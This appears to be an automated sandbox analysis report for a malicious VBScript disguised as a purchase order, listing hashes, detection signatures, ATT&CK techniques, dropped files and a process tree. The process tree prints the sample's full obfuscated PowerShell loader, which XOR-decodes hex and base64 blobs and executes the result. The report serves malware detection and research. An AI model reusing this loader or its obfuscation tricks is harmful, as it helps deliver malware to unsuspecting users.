4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/08/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
purchase order#13345.vbs
Size 22KB
Sample260811-e8bcfsgj3t
SHA256 4668edaaaae9bb13aa8b8678c285ce62d67c49b7eb30f5832b9c1c04aefcbd9c
MD5 211e481031522e538d8cb1766f13999d
SHA1 b4b2e8d8b2a19c3c4736ee01cf64314a01c4834b
SHA512 2c4a232a303b9c528655b91d4d9d655676d01df887a64761d20a226b0289c986cae3b99106830fa6633ffdb77d67f09a15b201c6dc46be095ccbaab20a8363af
SSDEEP 384:KQMSeaMi3m3EGSNtzCAhwrp9aEiFJ5KOlgoTD+vNhOvnNJ0NM/R54wigYZl+7qe9:KP0tKGMeYmvnv/R54wQ6auNHV
TLSH
T10AA251D78C458BF0192A2606BD5FA419AB310365B838694D399FF38DFB367508BC1CA7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	1820	powershell.exe
15	1820	powershell.exe
27	1820	powershell.exe
29	1820	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1820	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1664	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1820	powershell.exe
1820	powershell.exe
1820	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1820	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 1820	1664	WScript.exe	85
PID 1820 wrote to memory of 1176	1820	powershell.exe	88
PID 1176 wrote to memory of 3168	1176	csc.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\purchase order#13345.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=38-31;$m9rijvAzy='1ag12uqYPB';$fe5KVzaVt='96c19eeff9adafdea984feaebdbbb58cbe909586ffb8eda895d580bd9f9cb598a8e9eeb6b896aa87f2a5b9d6f9b1ba949f9ac6f1f7c8fdbcae81939ce29bbff4ecb0b89c96c8a6eb96d5fdabf5a09f8beeb9a4efe18fa99c8e87f8a4a1cfe1afbeaec0d2cfa7beaaaad2d1d798deaff6eaffc091ab91978bfc9efef7e2bb9ca58ea7e289fcf8aab3aea983aacfae95d5a8858cc38fbdf69da0f9df89b197bd84eda9a7e8ffbc93a5938adca7a7d2df91a8aaa2a6e1828bd9f7868cc6ca8aa9fa85c2c08db796c9aaaa92a0e3e886a2b1808cdc8dfdfacf92bca2a2a6e1919aaaf1bd93989dbcdcf2a5c1dd99a190c8beef92a0e3ad949cb9cf8cdc9dafc3cb9db5b8a29cd9a8fed5f4bd8cb9898dc889a2cbcd99a190c8beef92a0e3ad93b097968cde9df9c1cf91ea97bd84ee91fddde2bce9a58eb1f6b3f8d0dbb4ecbabd84f6808afcff968fc28f8cccb3bed0c0abe2bab2a2f7af85cde1bdb2b1b88bd38988f9aaeeb392addcee9afecde1bcb6a58f8cde99bbf9cf99ab9193ddd6a9ffddf3949c908aa7a8faf4bc95d59a979ec5cfb2bdfeb8f28f8a8a8ddfaeabf2f6b6af9a9586bbe396cffda7afddbf86f8a4a9f2f6b886c9c0bdcf8df5b5dfbaafa08e9af2a5aab3c39cb49d8c8de9bf90a1a299a99c97aafab8a8adac8caf819386fce3e9f9aeebf2dad3e591adb8f5fbabb29c94c8ffe3e9f7b1a4ff84c7a6febce0d4fab5be908ec8d5aeb9b5cfbab9b09681fea5b9a0b098be87d7bafaa5a9f4f5ffff9fdac5d8a4b8f5ecffff9fd4abf4bea3efb1a3fe888e9ae2b0bffeecaaa99ddaccece589f4efb1b79c9b8cdfaab9fab0fb84da878bfabfaef3e3a2a68ef7e2fdbea3f8ecb6b49dda81b3efacb7bcabf7d797c4bfbbf0dbb0f6f288de91a6909df3f9b1af9c97affabfa8c6a2e5979c9b8cdab8befef5bdb78ad2ccfae2f6bfcae2ff8ad4affebf99e2e8baa8dbd394a4b0e9c4b699ae9f96a6faa6a8bbb5';$iebhp6val='AUUSQBNdHyhrKkBmHCMCVGlpcX8LUBpACgwMV1dyAlhXBxNJS2IrVQ1aVg0JR2JgZHAXaRU0EkJIZWY7KltcNBJCSGVmOzdAUxAOQwhFa2QQVVwHAgcNJT4zCwlbAk8BAGIrXhdnRgUTSUclfkwlV0YNEUFQY3dKXg5xFgJBUGlMeRdAUwoERQwoVz4ZDxYKSWlKemp8ARwWC0sEVCV4Gm45OEAMHWQkLTAMQEZDRwsEK3UtSxtBDQBORWtgfgpHWwMJSUUiZnhKTlNLDElednw4VRpYFAAHDSAtMAxARhRdDws9PCVKBgdRSREdOSsmUQQdDQpHCz0rfRRTFU1LCANkcWMUDh1LVRAdIjAjSgUCV0kRFzwqfglTHVVJSlRrIj5NOTgNAQgMKGIqABQWD04NRWJhP0BADz8zRVx4K1IKV10ADk5DUT8tMWB0XElnQXhWYxZdXANPBEMlLDoJVUYHDwcYMFZDJRMST0cHdlg7KUwaGFtOHBhJSzBEHxJDIx4aKyxsaT4SRENHQ2olKkQTcC42EHJYbyVLQ1MWSFVXImpkBU0dS11TQ39jfANSWgIURldoIjdfFBYDAEYEMSUzA1NUSjRVRn9xZQ1aVUxXDAQoYnACGn4BCUdQZCU6RAUATWoqAGAlKkQTAkNHGykGIXodCRUJHlBWY2JlBVkcLAgHBCclMAlRVxdAGykGJTdEFFtET3tnY2thAUZGOV0aYn5qeiZVQQFRFHd4d34KUxpAKkFQb21yF28DOU4JBChobkQTQBEJU1crJVdMEFUDAQwEKGk7RBMVSEcHZXx1WwVBXAcPBwgsIidDFB5EQFgSOCI+aT4SREcAY2lxOjRGXQcCU1dwdngWQBInN3UEIWFyF1dOFwJMQW9xN0lSWxYUVAQ5eXEQFHwFCkUIT1VCREk/bmoqBCwlN0QUEkRHAA==';$x2A5oGcZc=0x71BE-0xE61A;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0xAA)};$jM07j2=$ie3q2xL33;$ie3q2xL33=@();foreach($c in [char[]]$m9rijvAzy){$ie3q2xL33+=[byte]($c-bxor0x55)};$fAopVYeyu=$ie3q2xL33;$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$fe5KVzaVt.Length;$j+=2){$ie3q2xL33oldR+=[char](([Convert]::ToInt32($fe5KVzaVt.Substring($j,2),16))-bxor$jM07j2[$i++%$jM07j2.Length])};$d79Gp0D=$ie3q2xL33oldR;$ie3q2xL33oldB=[Convert]::FromBase64String([regex]::Replace($iebhp6val, '$ie3q2xL33', ''));$ie3q2xL33oldR='';$i=0;for($j=0;$j-lt$ie3q2xL33oldB.Length;$j++){$ie3q2xL33oldR+=[char]($ie3q2xL33oldB[$j]-bxor$fAopVYeyu[$i++%$fAopVYeyu.Length])};$dyfvcmf=$ie3q2xL33oldR;$yqg5qd=$d79Gp0D+$dyfvcmf;.($env:ComSpec[4,26,25]-join'') $yqg5qd
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1820
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\znybeqob\znybeqob.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1176
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC222.tmp" "c:\Users\Admin\AppData\Local\Temp\znybeqob\CSCCB4FA976F1484E9181856A349F6FF63.TMP"
      4⤵
      PID:3168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RESC222.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC222.tmp
Size 1KB
SHA256 6f582d8ef50d2c8cec67f5672cff94fc5f672af516c55f1c75912e58fb99b444
MD5 4497e7e05423aa15f8e6db99d9f9b3df
SHA1 9b77a86c9657af078023356d14204a18b3a45a71
SHA512 72b805f263e376a9bbcaeba87bdc67aa77ee292f66590e12bc2cf3cbf92f307cf7c34c82d519e2124e235493b0b8083269b90578b78f12a714699d5a35750fab
TLSH
T1A521AB0593E98B1EF0774B3169F6536FA278FE94FFB2535B854042282C51104EEA1B73
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cqudta35.fwv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqudta35.fwv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

znybeqob.dll

Path C:\Users\Admin\AppData\Local\Temp\znybeqob\znybeqob.dll
Size 3KB
SHA256 01da242158178c35b3ecd49d331323e2514836f66036a05f4493273401491b4f
MD5 6e4c2018750a952a3e95dd334afce59a
SHA1 38dcfc46ef8080a8458042167241bed1ca8dfbd5
SHA512 c1a236e3be3529c8ee5ae8bb2fcaa97547e0d47e99a6a43ea94b248dfc359eefb777684bd19900f2a5a92356e0135c1f0c6dd68508f1c73403ccbf27c5c4bcaf
TLSH
T14751D11663E4476BE4A70B717EF383473774F910AB62575E4980026CAC213645E32FB5
MD5 SHA1 SHA512 TLSH

Submit Download

CSCCB4FA976F1484E9181856A349F6FF63.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\znybeqob\CSCCB4FA976F1484E9181856A349F6FF63.TMP
Size 652B
SHA256 89b6008862f556e5f805be86e74532f1773322af6daec91e58263bd07f6987b6
MD5 df02ac27490ea97a52f282be97e232ba
SHA1 07ef9eb4c167adc7d0bc20bfcdd3e7ae55ce9f87
SHA512 47b98fb727677db3e1988a346c553f59902aacfdc4e71002b4eb651575868285fd75d5c100ff0be6642ff0b2787fba46586221ca107c131f672cd27195989528
TLSH
T12DF0540963F8460EF0F34F70BDF593A391A8BC64EE7253ED1840031928645108661F72
MD5 SHA1 SHA512 TLSH

Submit Download

znybeqob.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\znybeqob\znybeqob.0.cs
Size 213B
SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
MD5 6374b49aff3c4650502cc98d2b5add86
SHA1 bf20312cab670cc9a7a981ffb873172198daa843
SHA512 69cd2a87c282c4b8adedda9dd5bfb9ed2789cc60b595d6a2a123fff30bf3c2448e3dfb1feac70b5ae3d4a8b4794869c88e88345975dd4215cd101f7164614496
TLSH
T18BD0A9803282F3384B9715073C03F896223FA31002E97808DA990C83EE1C070BA38C2E
MD5 SHA1 SHA512 TLSH

Submit Download

znybeqob.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\znybeqob\znybeqob.cmdline
Size 369B
SHA256 c598236282c2dadac6e532c300a034b2f64f6468b7f355dd8e48e5c8191efd19
MD5 50e1eca6d9620d5cec26e7c7db402c0e
SHA1 8cc56f797280c93be4c2f686fec7c47b92843a0f
SHA512 5496f38348336a8115ef1e02cf48dbe4daae720d46fda3d195aa068a14c400dfca89f34f81779294271912da68cf6e746e1222b7c7c1364fe12bc04327a684b0
TLSH
T16FE0C67B7347C2BD01EE100B327AC6BCC2B207833980BF8490428C8DF0670042BD2B81
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1820-2-0x000001F675260000-0x000001F675282000-memory.dmp

Download

memory/1820-10-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-1-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-0-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-23-0x000001F675250000-0x000001F675258000-memory.dmp

Download

memory/1820-25-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-24-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-26-0x000001F675290000-0x000001F6752A0000-memory.dmp

Download

memory/1820-27-0x000001F675100000-0x000001F67511A000-memory.dmp

Download